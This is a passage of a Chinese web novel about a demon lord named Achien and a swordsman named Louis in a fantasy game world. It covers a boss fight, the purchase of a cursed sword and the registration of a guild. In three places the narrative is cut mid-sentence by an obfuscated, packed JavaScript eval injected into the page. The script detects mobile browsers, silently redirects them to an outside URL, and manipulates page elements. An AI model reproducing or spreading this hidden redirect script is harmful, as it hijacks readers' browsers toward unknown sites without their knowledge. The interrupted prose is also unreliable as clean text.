遮蔽视线的烟尘散去，只见百眼巨魔两只手拍在阿契恩所站之处的两侧，大脑袋尽可能地贴近，呈现出卑微的臣服姿态。 阿契恩毫发无伤。纵使身形被衬的渺小，他仍仅用一个照面就令如此庞然大物做小伏低。 路易察觉出百眼巨魔的异样，不由得困惑不已—— 魔物拜服在魔王脚下不足为奇，但眼前的阿契恩明明只是玩家扮演……到底是怎么做到连魔王对魔物的威压也一并扮演的？难道是外表太过惟妙惟肖，骗过了魔物？ 路易百思不得其解，最终只能将一切归为这游戏的自由度实在太高。 “我错了……吾王，我错了……我发誓我已诚心悔过……”百眼巨魔泣不成声，数不清的眼睛一齐流下污浊的泪，“我只是着了小人的道，相信我，我对您始终衷心……” “你为什么要分给他肉？”阿契恩冰冷地问。 “是他胁迫我！我被封印后只有一只手在外面，所以——” “你在干什么傻大个！”教主看不透其中缘由，破口大骂，“还不快杀了他！戏耍的事放到以后，祭品要多少有多少！” 阿契恩面无表情，对百眼巨魔简短地发出指令：“向我证明。” “证明……证明……” 百眼巨魔呢喃着，随后心领神会，猛然伸出巨大的手臂，朝空地一把抓过。 路易反应速度相当快，紧急发动技能，将奥菲莉亚带离。 他以为百眼巨魔打算向他们发动攻击、扑了个空，在看到被它抓在手心绝望挣扎的教主后才意识到事实并非如此。 “该死的魔物……该死的……你胆敢——” 教主的咒骂戛然而止，只因他的身体在巨魔坚硬如石的手中爆裂，失去生气的身体在半空软若无骨地摇晃，血肉模糊、鲜血淋漓。 路易目瞪口呆。 根据攻略，教主本该会用他的法术不断扰乱作战、消耗血条，在诅咒机制的加成下成为对战中最棘手的一环。然而此时此刻，明明Boss战还未真正开始，教主却被队友秒杀了，死得不能再死。 “我将他献给您，吾王，向您诚心忏悔，我以我的性命起誓，对您永远忠诚，请允许我乞求您的原谅——” 百目巨魔闭上所有的眼睛，不敢直视它唯一的王。 然而如果这位王的谅解真有这么容易获得，它也就不用在地底待上数百年了。 “我曾平等地给每一位魔物机会，在你们首次以‘魔王’之名称呼我时。没有魔物配得到第二次机会。”阿契恩以谈论早餐般的平静语气说着，就这样给眼前的魔物定下了死亡的结局，“既然是以性命起誓，那就请献出你的生命吧。” 23. 第23章 得知自己死到临头，巨魔的无数眼睛都开始因为恐惧乱颤。它身子后仰，双手抱头，绝望地重复着：“不……不……” 路易没听见阿契恩跟它说了什么，只看得出这个庞然大物突然陷入了癫狂。 “我不想死，我还不想……是您戏弄我在先的！是您将我折磨成这个样子！我受够了！” 求生欲将恐惧转化为愤怒，百眼巨魔想起几天前出现在洞口的不速之客，无数眼睛再度聚焦在阿契恩身上，无比细致地审视着他。 “我可以看到您体内蕴含的力量……您似乎变弱了，我亲爱的王……或许，肯尼说得没错。” 百眼巨魔抬起手，作势要向阿契恩发动攻击。路易在同一时间发动技能，身影化作一道迅疾的闪电，辗转砍伤距离自己最近的几只眼睛，疼得百眼巨魔发出震耳吼叫，拍向阿契恩的手也发生了偏位。 阿契恩仍是没躲，恰好处在百眼巨魔的指缝之间。他用这种无声的方式展现着压迫感，羞辱恐吓对方，随后质问道：“这其中还有肯尼的事？” “只能攻击它的眼睛！”路易以为阿契恩迟迟不动手是在研究打法，于是直接将答案告诉他，喊道，“必须要快！不然还会恢复！” 对百眼巨魔来说，路易就像只恼人的蚊子，不得不分心处理，于是它又怒吼着去抓此时正攀附在它左臂上的路易。 巨魔块头大，动作慢，路易瞅准时机发动武器技能、成功闪避，随后使出三连刺，再次弄伤三只眼睛。 路易确信阿契恩把自己一系列华丽的招数看得一清二楚，换位思考一下，他自信无比，觉得自己简直迷死人了。 却不料阿契恩只是兴致恹恹地眯起眼，道：“能先别打了吗喂？有人在听我说话吗？” 见声音不够大，路易还是没听见，阿契恩干脆用传送技能将他传至身边，就像遛到不听话的狗，拽着狗链生拉回家。 路易浑然不觉阿契恩用意，懵懂地问：“怎么了？你是有什么大范围法术即将释放，需要我提前躲避吗？主动把我传送过来，你人还怪好的嘞。” 阿契恩耐着性子深吸了一口气，开口道：“我是说——” 结果刚说了个开头，百眼巨魔又一巴掌招呼了上来，阿契恩只好先止住话头，反手抓住路易的手腕，传送到远处。 “你果然变了，以前的王面对此等拙劣的攻击可不会躲，更不会在起杀心后还让我活这么久。”百眼巨魔缓慢地转过身，所有牵动下半身的动作都会产生震感，“或许一切都将不一样了，魔王大人。” 听到这儿阿契恩心里算是有数了——想必是肯尼已经来过，带着从他这儿截走的一缕头发，作为他实力大削的证明。 要知道，魔族间的情感纽带几乎不存在，稍微有点手段就嗜血好斗，只有强者才有统治权、话语权。而魔王之位的归属也从来无关血统，阿契恩就是靠着一路打杀才坐到这个位置上的。 新王的诞生一定会在旧王陨落之后。若是他变弱的消息传播开来，魔族只会比王城的勇者更加蠢蠢欲动，到时候等待他的将腹背受敌。 将消息压下很难，但证明其不实却很简单，最直接的方法就是将有了谋反之心的魔族斩杀，再将面目全非的尸体丢到显眼的地方、公之于众。 想到这儿，阿契恩已然定下对面前魔物的最终处置。 现在终于可以动手，他眼神一沉，立即召唤出三枚又三枚火球，凭借超高的法术操纵能力，驭使火球从四面八方袭向百眼巨魔。 顿时，火球满天，火光与爆炸声此起彼伏，颗颗精准命中巨魔身上的眼睛，就算是处在视野盲区的也不错过。巨魔的血条开始在狂轰滥炸中以肉眼可见的速度缩短。只用最低级的火球术也能打出这种场面，这就是大法师的统治力。 但路易顾不上崇拜，赶紧扑上来阻止：“不不不，你不能打得太快了！因为——” 阿契恩的高伤害超出了他的想象，阻止的动作终究是晚了一步。 巨魔已到半血，双手握拳砸向地面，震感裹挟着音浪袭来，速度快又无形。阿契恩及时拔剑挡在身前却无效，看过攻略、提前知晓的路易也没能避开，两人双双中招，虽没有掉血却进入浮空状态。 紧接着，又一道深不见底的沟壑蔓延至脚下，才从浮空状态解除的二人径直下落，上方视野很快从广阔的天空变得遥远又狭窄。 更糟糕的是，两侧断壁不断颤动，随时有可能重新闭合封死。现在的当务之急是尽快停止下落，向上脱身。 阿契恩丝毫不慌，发动传送，阶段性上移。路易则靠着突进型技能沿断壁向上奔袭，暂时领先阿契恩。 阿契恩刚嫌弃路易挡在身前碍眼，下一秒这人就脚下一滑，又开始坠落，朝下方的阿契恩砸去。 这也难不倒阿契恩。 他眼都没眨，轻盈流畅地闪开半个身位，如同精准计算般和路易擦肩而过，并向他告别：“复活点见。” 地面近在眼前，只要—— 就在这时，阿契恩身形一滞，竟是路易在慌乱中一把抓住了衣摆末端。 真是防火防盗防猪队友，阿契恩向来从容不迫的脸上浮现出难以置信又不可理喻的表情，顿时后悔邀请路易并肩作战。 出于某种原因，他失去反制手段，不得不被路易坠着一起向下跌去。 紧接着，两侧断壁开始向中心合并，眼看两人都难逃被封困致死的结局。 骂路易的事儿先放到一边，阿契恩迅速环顾四周，精准找到断壁上一处凹陷，随后立即拽着路易的衣领子将他怼进去，又将剑横过来，卡在即将合并的断壁之间。 就这样，他勉强为两人争出了一个足够容纳身形的空间，昏暗闭塞，但有幸存活。 阿契恩都想不起来上一次这样狼狈是什么时候，他没好气地讽刺道：“一个人死怕孤单，非得再拉一个陪葬是吧？” 空间实在太狭小，两人的后背都死死抵着石壁，也还是没有面对面的距离，只得将头分别错开。 阿契恩说话的时候，路易感觉到他的气息喷洒在耳畔，还有那半长的黑发不时擦过脸颊，心里直痒痒。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124870|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “不好意思哈，下意识就……”路易饱含歉意地赔笑，“毕竟就算能复活人也怕死啊。” 不知是出于愧疚还是想要避嫌，路易动了动，试图把更大的空间让给阿契恩。结果不仅效果不明显，反而整个人向下出溜、差点把自己搞成了四脚朝天的模样，最后还是靠着一把抓住阿契恩胳膊才稳住身形，分明是知错不改。 路易感受到阿契恩嫌弃的目光打在头顶，只好缩着肩膀、再次道歉。 现在他的视野被阿契恩的下巴和脖子占据，距离之近，都能看到其衣领被颈侧肌肉撑出了一个三角形的缝隙，似乎就连颈动脉的搏动也察觉得到。 他必须主动垂下眼帘才能避免将视线定格在对方的喉结上。 即便知道不是时候，路易还是控制不住思绪，忍不住想入非非，想起不久前做的那场梦。 他扶着阿契恩胳膊的手下意识用力，心里想着对方在梦里就是用这只手抓住他脚踝、将他一把拉到跟前的，然后…… 想到这儿，路易竟暂时忘记两人现在身形交错，下意识地想要并拢双腿，于是又不可避免地夹到阿契恩的大腿，引得对方抱怨：“你能不能别乱动了。” “唉抱歉抱歉……” 虽然但是…… 这也太暧昧了！ 热血的战斗哪儿去了？！ 路易悔不当初——还不如不拽阿契恩下来，自己一个人摔死呢。 也就是阳光只能透过狭窄的缝隙照下来，光线昏暗，不然路易红透的耳尖根本无处遁形。 但视觉是一回事，听觉又是一回事——这里又太过安静，路易觉得自己的心跳声响得跟爆炸似的。 其实他也很匪夷所思，想不通自己为什么会是这么个反应。但是转念一想，很快又释然了——对方可是阿契恩唉，难道不是人之常情？ 为了让自己放松下来，路易尝试吞咽口水，结果没想到方才紧张的时候毫无知觉地积了小半口，这一咽咽出了好大的口水声，除非是聋了才会听不见。 他顿时尴尬得脚趾扣地，心想这也太丢脸了，绝对会被当成变态的吧！ “不是……那个……害，你瞧这事儿闹得……”路易强颜欢笑，硬着头皮开口，装出一副若无其事、大大咧咧的样子，“要不你发动一下传送技能带我一起上去呗？这里好挤呀，哈哈……” 结果阿契恩没接话。 完了，更尴尬了。 路易说什么也不想抬头，不敢跟阿契恩近距离四目相对。 他这会儿沮丧得不得了，认为自己表现成这样，阿契恩一定不愿意跟他一起组建公会了。 又等了一会儿，阿契恩终于开口，不情不愿地：“不传送是因为没蓝了。” 他正在等待蓝量自然恢复，距离能够释放一次传送预计还有……1分钟。 别说1分钟了，就是10秒钟路易也熬不下去了，再这样下去他还指不定要丢多少次脸。 “你早说啊！”路易赶紧干回老板行，接机揽活，“我这儿一直备着呢，给你给你都给你！” 24. 第24章 地面浮现出法阵，阿契恩和路易完好无损地出现，唯独折损了一把剑。 现在阿契恩只能做回最原始的魔法使。他将法杖换到惯用手——没错，先前同时操控十几枚火球、用最刁钻的角度命中目标、就算视野盲区也不放过的顶级操作，外加先前每一场切磋时法术的释放，全都是他用非惯用的左手凑合着打出来的。 不过也好，此等魔物不配他拔剑。 “魔王大人！”从目睹两人坠落后一直隐身躲在一旁、不知二人生死的奥菲莉亚几乎要喜极而泣，“吓死我了呜呜，您没事可太好了……都怪我帮不上什么忙……” “当然不会有事，我还没有落魄到需要随从拯救，你已经完美完成自己的本职工作了。” 阿契恩优雅地拍了拍衣袖，抚平衣摆，尤其是被路易拽过的位置。 他像是回想起什么般不爽地瞪了路易一眼，一世英名险些毁在这儿，火气果然没那么容易消下去。 他反讽道：“倒是某些人，的确没拖后腿，改拖衣摆了。” 路易只好双手合十，弯着腰：“错了错了，我保证以后一定不会再有下次。” 阿契恩自始至终没把百眼巨魔放在眼里，直到这会儿才眼神慵懒地朝它看过去。 只见两人在地底下的工夫，巨魔已经恢复满血，先前被击伤的眼睛也尽数恢复，又要从头打起了。 阿契恩朝路易使了个眼色，路易心领神会，握紧长剑、发动技能，随即展开新一轮攻势。 有了先前的作战经验后，两个人的攻击都更加如鱼得水。蓝量充盈的阿契恩更是无所顾忌地召唤火球，路易则靠着敏捷的身法跑到巨魔身上辗转挥砍。 很快，百眼巨魔来到半血阶段，之间它双拳重重砸向地面，强化攻击再度袭来。 路易如临大敌：“小心！” 相同的招式阿契恩可不会中招两次。仔细看，席卷而来发尘土为无形的震浪勾勒出轮廓。阿契恩精准发动传送技能，将自己和路易一齐升至半空、躲开震荡，再避开接踵而至的裂缝，最后降落至安全地区。 百眼巨魔引以为傲的招数就被这样化解，就连翻飞的衣角也没沾到一丝尘土。 感受到阿契恩恰到好处的技能释放，路易激动地鬼叫了两声：“到目前为止还是无伤唉！队里有个控场的大法师就是爽啊！” 堂堂魔王被降级成区区大法师，阿契恩无声地翻了个白眼，心想早知道不管他了，随后大人不记小人过地继续释放火球术。 一个个闪耀着赤橙火光的类球体凭空凝结，表面萦绕着无数金白色的火舌，内部则是纯粹得令人失明的白炽。它们悬在那里，更像一颗颗暴怒的微型太阳。 热浪扭曲了空气，为火球带出别样的拖尾，在高速移动的过程中越拉越长。 致命的火球逐一命中魔物的眼睛，发出一阵阵炙烤的滋滋声，每一声都宣告着死亡的逼近。 接着，百眼巨魔彻底进入强化阶段，它双手撑地，将腰腹以下深埋的躯体如同连根拔起一般脱离大地的桎梏，在大地上肆意爬行、冲撞。 可就算它用尽浑身解数，路易的闪避和阿契恩的传送都能让它的攻击落空。 不多时，巨魔身上的眼睛被尽数击伤，但血条分明显示还剩最后一点。 路易一下子慌了神，赶紧绕着巨魔快速寻找被忽略的眼睛，生怕有所怠慢，导致所有眼睛再度复原。 阿契恩沉着冷静地思索片刻，成功回忆起了剩下那只眼睛的位置——舌头。 然而巨魔皮肤坚硬、无论是他的火球术还是路易的剑技都无法破防，接下来的难题便是如何让它张嘴了。 “喂，我说你，”阿契恩语气傲慢，还故意放大音量确保百眼巨魔听得清，“其实我将你一直封印在这里并非是没有原谅你，而是把你忘了。严格来讲也不关我事吧？毕竟是你呆傻蠢笨，才会连封印效果早已失效都没发现。” 此言一出，毫不意外地激怒了百眼巨魔。 它发出震耳欲聋的怒吼，也随即张嘴，露出了藏在舌头正中的最后一颗眼球。 路易的反应极其迅速，他几乎是在同一时间便朝着百眼巨魔的嘴突刺而去，报着命丧巨口的决心，果断又勇敢。 最终，百眼巨魔的血条被路易斩破。 两人同时收到新成就弹窗—— 【大善人·成就】您成功斩杀了教主和百眼巨魔完全体，这就是善的力量吗！外乡人会感谢您的。 【诅咒也没用·成就】您在承受了诅咒的情况下击杀了教主，究竟是怎么做到的？ 【百眼巨魔最严厉的父亲·成就】难以置信，您竟然做到了无伤击杀百眼巨魔，实力堪比魔王。 “阿契恩！掉落了好多奖励，新装备也有新技能，快来看看这个！” 路易小跑着来到阿契恩身边，像条巡回犬似的，将新技能的介绍念给他听。 【主动·模仿大师】随机选中一个目标对象装备的技能（天赋技能除外）为己所用，主动技能使用1次后销毁，被动技能持续15秒后失效，技能效果与自身属性关联。 “这也太适合你了吧！同时用法杖和剑，随机到什么技能都能用！”路易不由分说，将技能卡的归属选择为阿契恩，也算是对之前副本掉落装备的回报。 “可惜现在你的剑没了，”他接着说，“可惜掉落的武器里只有一副弓箭……唉，你要不先用我这把？” 送出去的东西没有收回来的道理，况且是他自己主动将剑卡进的断壁缝隙，当时已经做好了损失这把武器的觉悟，阿契恩拒绝了路易的提议。 “那这样吧，我陪你去下个地区挑把更好的。”路易诚恳道，“毕竟都怪我拽了你一把，这事不能就这么稀里糊涂地算了，得好好赔给你才行。” 阿契恩打量着路易低顺的眉眼，一番充满真诚歉意的举动格外十分合他心意，因而愿意给他一次机会。 “好。”于是他大大方方地接受了路易的赔偿，“不过在此之前，我还有一件事要做。” *** 镇子上，一众镇民终于接受了教堂被焚毁的事实，从悲痛中恢复，开始着手修缮工作。 他们很快发现教主也随之失踪了。由于人们坚信受神之使徒庇护教主肯定不会死于大火，所以教主的失踪就被改写杜撰为了为保护教堂损耗牺牲了肉.体。 教堂没了可以重建，教主失踪了也可以选出新人接任。只要那位巨目大人还在，只要这座镇子还被神明庇护，就一定—— 空中张开巨大的法阵，像是一颗更加庞大、绚丽的眼球居高临下地俯视众人。 紧接着，在众目睽睽之下，有什么庞然大物从法阵中生出，很快便从高空坠落，重重砸向教堂残骸，将其彻底粉碎。 待镇民从地震般的震荡和巨响中回过神，他们才发现砸毁教堂的正是那只被他们视作信仰的巨手，可如今已经变得支离破碎、面目全非。就连其手心的那只眼睛竟也被狠心剜下，仅剩着一点皮肉相连，触目惊心地挂在一边。 至此，信仰被摧毁殆尽、彻底崩塌。 一切都像是真神降下的神罚，惩戒卑劣的冒牌货，警告愚昧的凡人。 ……也警告某些蠢蠢欲动的魔族。 *** 路易和阿契恩面对面坐在马车上，踏上前往下一个城镇的路。阿契恩没坐在正中，偏向旁边让出了空位，正坐着隐身状态的奥菲莉亚。 即便与路易相识，奥菲莉亚还是选择在所有非必要时间伪装身形，以备不时之需。 “对了，你真的不用下线去睡一觉吗？”路易关切地问，他是真的很担心阿契恩猝死，“我今天一整天都没什么事，可以等你。” “不需……” 话说到一半，阿契恩突然感觉眼前闪过一些画面，速度太快他来不及分辨，只认出其中有一扇淡蓝色的门。 是幻术吗？还是什么？ 阿契恩掀开窗帘，将脑袋探出窗外，警惕地扫视四周，没见到可疑身影。 “怎么了？”路易看出端倪，实在担心阿契恩的身体健□□怕他出什么问题。 “没什么。”阿契恩若无其事地收回身子，对方才的异样感绝口不提。 “好吧，”既然真的不需要，路易也不好强求，他又把通关掉落的装备奖励翻了出来，“虽然我觉得剩下这些东西都派不上太大用场，但果然还是得逐一问问你，你要是想要就留下，不想要的话……” 阿契恩草草看了看，这些装备的属性果然都不太合适，他没什么兴趣，摆摆手道：“你都拿走吧，我不需要。” “我也不需要，但直接卖成金币有点可惜，所以我打算放进咱们的公会，供未来的公会成员使用。” 路易用极为流畅的语速说完 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124871|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这段话，像是故意为了不引起阿契恩的注意，却又特地在“公会”前强调了“咱们”，同时小心翼翼地观察阿契恩的表情，试图蒙混过关。 这点小把戏可骗不过阿契恩。 他维持着单手撑头、欣赏窗外风景的姿势，待路易话音落下几秒后，才缓缓将视线转移到对方脸上，配上毫无感情的神态，冷漠地审视。 路易卖萌般睁大眼睛、微微偏头，试图装出一副人畜无害的无辜模样，但因紧张抿成一条线的嘴和反复交叠的手指还是将他出卖。 这些小细节全都逃不过阿契恩的眼睛。 他这时候才将脸一并转过来，直视着路易，冰冷道：“公会的事，我不记得有答应过你。” 完了完了完了，他果然还没消气！ 路易强迫自己咧出一个微笑，却笑得比哭还难看。 “咱们不是……顺利通关了嘛……所以我……” 路易狡辩不下去了，而阿契恩也没急着回话。所幸有马车行进时的车轮声，不至于让气氛陷入寂静、彻底尴尬。 但很快，目的地到了。马车一个急停，差点让背坐的路易向前扑在阿契恩腿上。 阿契恩仍没理睬他，自顾自地推开车门下车。 想着没拒绝就是有希望，这一定是在考验他的毅力，路易尾随着跳下车，边走边扭着身子丢给车夫一枚金币，没耽误一点时间。 “这是一个依附码头所建立的城镇，为满足水手和商人的需求逐渐发展出各种服务业。”路易像个导游似的给阿契恩介绍，“我知道有几个很不错的饭馆，你要不要去？就算不饿尝尝味道也是好的，体验游戏嘛。还有几个拍照很好看的地方，日出和日落时的海景会……” “看海景？”阿契恩眉头轻蹙，反问道，“咱们俩吗？” 路易看到过那些人晒照片和视频—— 日落时的天空像刚烧尽的炭，边缘还透着暗红与绛紫的余温。整片海面此刻化成了一大块半凝固的、深邃的暗色琉璃，底下仿佛封存着白日未燃尽的炉火，幽暗地、缓慢地流动。没有风，细浪像均匀的呼吸，每一道涌起的波纹顶端，都缀着一抹玫瑰色的微光，温柔又浪漫。归航的帆成了剪纸，贴在光与暗交接的绒布上，若隐若现。 码头外的礁石群中伫立着一座瞭望塔，站在那里遥望能将上述美景尽收眼底，照起相来角度也刚好入画，被玩家誉为最浪漫的打卡地。 路易想象了一下和阿契恩去那里合影的情景，不是谁都能跟魔王留下这样的纪念，机不可失、失不再来。 他把阿契恩的反问当成了邀请，欣喜又期待地问：“真的可以吗？” 阿契恩无语。 “不过好像去打卡的都是情侣唉，咱们俩去的话，会被当成同性恋吧？”路易自嘲地大笑起来，“哈哈开玩笑的，所以还是算了。你怎么不说话啊，不会当真了吧？哈哈哈……” 阿契恩加倍无语，假装不认识对方，加快步伐试图把这个人甩远一点。 魔法使面板的速度当然无法和全敏加点的剑士相比，路易很轻松就蹦蹦跳跳地追了上来，接着问：“那咱们去挑武器吧，前面就是铁匠铺了。” “我自己挑就行。” “不行不行。你自己挑我怕你替我省钱。我跟你说可别跟我客气昂，随便买，就算是这里最贵的剑我也能负担得起！” 路易有这个底气单纯是因为副本和Boss战通关后的奖励他都留着分文没动，再加上先前剩下的一些，买把质量上乘的长剑绰绰有余。 于是阿契恩驱赶失败，只得由着路易形影不离地跟着。 阿契恩在给自己选装备方面有着充足的耐心。无关价格，仅关乎属性。他力量值有限，一个个试过去能负担的武器就不多，还要从其中挑选出最适合自己的一把。 时间一长，路易熬不住了，蹲在地上拿树棍画螃蟹，把螃蟹族谱都画完了，阿契恩还在挑。 阿契恩回过神时，路易已不在原地，只剩那一地的螃蟹，人不知道是什么时候离开的。 阿契恩耸了下肩，毫不在意，想着就算路易逃单他也可以自己花金币买。 结果才过了几秒，阿契恩耳边突然传来路易标志性的笑声。 回过头，路易差点把一串刷满酱的烤鱿鱼贴到他脸上。 “快拿着。”他傻乎乎地笑着，“可好吃了，你尝尝。” 25. 第25章 阿契恩不知道究竟是什么戳中了自己。 是路易两只手分别一串比他脸还大的鱿鱼，还是他没忍住先咬了一口、酱料蹭到鼻头尖上浑然不觉，又或者是那露出一排整齐白牙、真诚到有点憨傻的笑容……全是类似于小丑捏响红鼻头的滑稽作态。 总之阿契恩忽然被逗笑了——一个与轻蔑、嘲讽无关的会心一笑——突如其来得连他自己都感到意外，因此没来得及做表情管理，只得用偏过头去的方式隐瞒。 但路易看得一清二楚。他从未见过魔王露出这种笑容，但他丝毫不觉得违和，反而觉得就是这样，像发现新大陆一般兴奋。 阿契恩扭头，他就将脑袋追着探过去，喜上眉梢：“你笑了！” “我没有。” 路易难得和阿契恩同频，果不其然下一句就跑偏了：“你喜欢吃烤鱿鱼？那好办啊，我再去给你多买几串。” 才几秒的工夫阿契恩又被无语到了，顺势收了笑，恢复惯用的冷脸，说：“把你的烤鱿鱼拿远点，来看看这个。” 路易很听话地把两串烤鱿鱼换到一只手上，以便凑近打量阿契恩举起那柄剑刃黑里透红的长剑。 【弑主魔剑·无名】拥有了这把剑的人永远不会战败，只会在某一个平静的夜晚暴毙——已经有十二个人证明了这一点。有人说这把剑蕴含着诅咒，有人说这把剑本身就是魔物……但没人知道是谁将它锻造出来的，也没人愿意成为它的第十三个主人。或许当你买下它后，最该做的事是抓紧时间找机会将它倒卖掉。 法术伤害+200 生命值+500 被动技能：造成物理伤害，但根据持有者法强数值计算。 特殊效果：每天固定获得20点【杀意】，每次切磋获胜和击杀魔物可减少2点【杀意】，【杀意】达到100点后触发【弑主】剧情。 属性倒是和阿契恩匹配，尤其是被动技能，完美解决了他天赋只有法伤加成、物伤低的问题。 但是……恐怕没人会想在玩游戏的时候有个催命符一直跟着自己，万一几天有事没时间上线，简直像埋了个定时炸弹。 “就它了？”路易问，“确定不再看看别的？” “有什么问题吗？” 既然是问他意见，路易果断指出：“那个所谓的弑主剧情看起来可不太妙。” “要想不积攒杀意的话，平均每天需要完成10把切磋，或是击杀同等数量的魔物。”阿契恩看了路易一眼，意味深长，“如果我某天没能找到合适的切磋对象和魔物，你愿意被我杀10次吗？” 路易闻言立即深思熟虑起来。 其实反正能复活，被杀也没什么大不了的，况且他早就被“阿契恩”杀过无数回了，不是吗？ 想到这一点，路易一本正经地答复道：“只要你需要，多少次都可以。” 他说得真诚，好似山盟海誓一般。但阿契恩显然没放在心上。 “别当真。”阿契恩拍了拍路易的肩膀，“事实上，我对弑主剧情很感兴趣，为此我甚至愿意当为期5天的和平主义者。” 说完，他向老板询问价格。老板直呼终于有人看上了那把该死的剑，让他给1000金币意思一下就行。 这个价格比阿契恩的上一把剑还便宜。 既然对方已经决定好，路易没有再指手画脚的道理，他痛痛快快地买单，然后看着阿契恩那把剑佩戴在腰间。 刚固定好绳带，阿契恩就感觉到垂在胸口的银哨在震动，于是出手弹了它一下，警告道：“老实点。” “你真的不尝尝吗？”路易还是执着于把烤鱿鱼送给阿契恩。 “给我。” 阿契恩实在受不了路易继续拿着那串滑稽的大鱿鱼晃来晃去，于是面无表情地接过，然后反手塞给身体另一侧的空气。 烤鱿鱼漂浮在空中，随之而来的还有一句声线温和的：“谢谢魔王大人。” 路易还未来得及做出什么反应，转眼间两人已经走到冒险者协会门口。 码头是从新手村前往王城的必经之路，同时作为交通枢纽，这里本就人流量大，每天都有成百上千的人路过。因此，专门负责公会登记、招募的冒险者协会就建在这里。 阿契恩止住步子，开口道：“我认为我们该谈谈公会的事了。” 听完这话，路易心里“咯噔”一下。 这位向来开朗自信的小剑士现在可是一点把握也没有。他知道自己Boss战的表现不够好，赔给阿契恩的剑也很便宜，能和对方组建公会是奢望，他还需要更多机会证明自己有用、值得。 于是他顾左右而言他，用乱飘的眼神掩盖心中忐忑：“我觉得不用这么着急，或许我们可以再转转，看看其它装备、吃个饭什么的……” 阿契恩眯起眼睛，仿佛看穿路易的心思。 他没给路易闪烁其词的机会，直言不讳地问：“你不想早点把公会建了吗？” 路易很明显一愣，然后像是语言不通一般把阿契恩的话在嘴里嚼了一遍，惊讶地抬头：“你是说……？” 阿契恩眨了下眼，连带着轻微点头：“我是说我同意了。” 同意和你一起组建公会。 路易爆了句粗口作为感叹，随即震惊又惊喜地用手捂住嘴巴，那感觉不亚于有人对他手握戒指、单膝跪地。 阿契恩发现自己是真的理解不了这家伙的脑子里都在想什么。他怕他又要被喜悦冲昏头、做出什么傻事，提前后退了两步，提防地保持着安全距离。 “好好好，只要你同意就好，我可太同意了，快走快走！” 路易催促着，率先一头扎进协会大厅，生怕阿契恩反悔。 [您已进入特殊场所，勿扰模式关闭] 大厅里的人比阿契恩想象中多太多了。 路易走在前面，由于身上的话题度也不算少，很快被认出来。 人们最先看到他容光焕发的样子，听他热情地跟每一个认出他的人打招呼，就好像有喜事要和大家分享一般。接着才注意到他的身后，某个更为权威的存在—— “是阿契恩！路易把他带过来了！” “什么什么？阿契恩要加入路易的公会？这可是重大消息啊！” “该死，真的让这小子吃到好的了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17124872|196016||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“以后白骑士团要成第二公会咯。” “不至于吧？至少论人数短期内不会有公会能超越白骑士团。” “谁家公会以人数论强弱？” “你俩考虑一下我们公会吗？福利超棒的。” “你才是真癞蛤蟆想吃天鹅肉，人家可是连白骑士团都看不上。” …… “不是我的公会，”见那些人不着边际地七嘴八舌，路易赶紧解释，“是我们的公会。他当会长，而我——” 话还没说完，他转头看见阿契恩好似没看见任何人一般，正高冷地朝登记处走去。他只好改口跟大伙用最快速度告别，拔腿追过去。 路易重新赶回身边后，阿契恩目视前方道：“你当会长。我只打算挂名，不想负责公会里的任何琐事。” 语气斩钉截铁，听者只有知情权，没有决定权。 “明白，我是会长，你是副会长。” 但阿契恩连副会长的头衔也不想要，重复道：“不，我只想挂名。” 他之所以同意和路易组建公会，更多是出于一种施舍般的情感。他不想成为领导者，承担更多的责任。 创建新公会的队伍比加入公会的队伍短一些，但还是得排。两人的脚步被迫停在队尾，但话头没停。 “不行，你可以不管事，但我得给你个名分。”路易不同意，“拜托，你可是阿契恩唉！只当个普通成员，别人见了指不定骂我不厚道呢，败坏我名声！” 听到可以不管事，阿契恩也无所谓了：“那随你吧。” 路易原本还准备了更多劝说措辞，没想到阿契恩答应得这么爽快。 他再次确认道：“说好了嗷，我是会长，你是副会长。” “嗯。” 排队时，阿契恩双手交叉环抱在胸前，一动不动地像一尊没有感情、气场强大的雕像。而路易则兴奋地根本停不下来，像旋紧发条的玩具小人，一会儿自娱自乐地原地转圈，一会儿蹦起来看前面还有多少人。 “别人最少也都是三五个人一起来唉。”路易总结自己的观察，“只有咱们是两个人。” 当然，毕竟只有人多才有创建工会的必要，人少直接加入别人的公会就可以了。 阿契恩斜了路易一眼，放弃分析他的脑回路，没做声，但好奇他能整出什么幺蛾子。 突然，路易语出惊人：“你有没有觉得咱俩像来登记结婚的？” “？” 不仅是阿契恩，前后左右听到路易说话的人也都纷纷侧目。 “当然是开玩笑的哈哈！”路易一拍大腿，大笑起来，“怎么样？是不是很像？” 原来只是玩笑啊。 人们被他的“直男笑话”逗到，一笑而过之后纷纷收回关注，干自己的事儿去了。 唯独阿契恩用他那一如既往的嫌弃眼神盯着路易，一言不发。 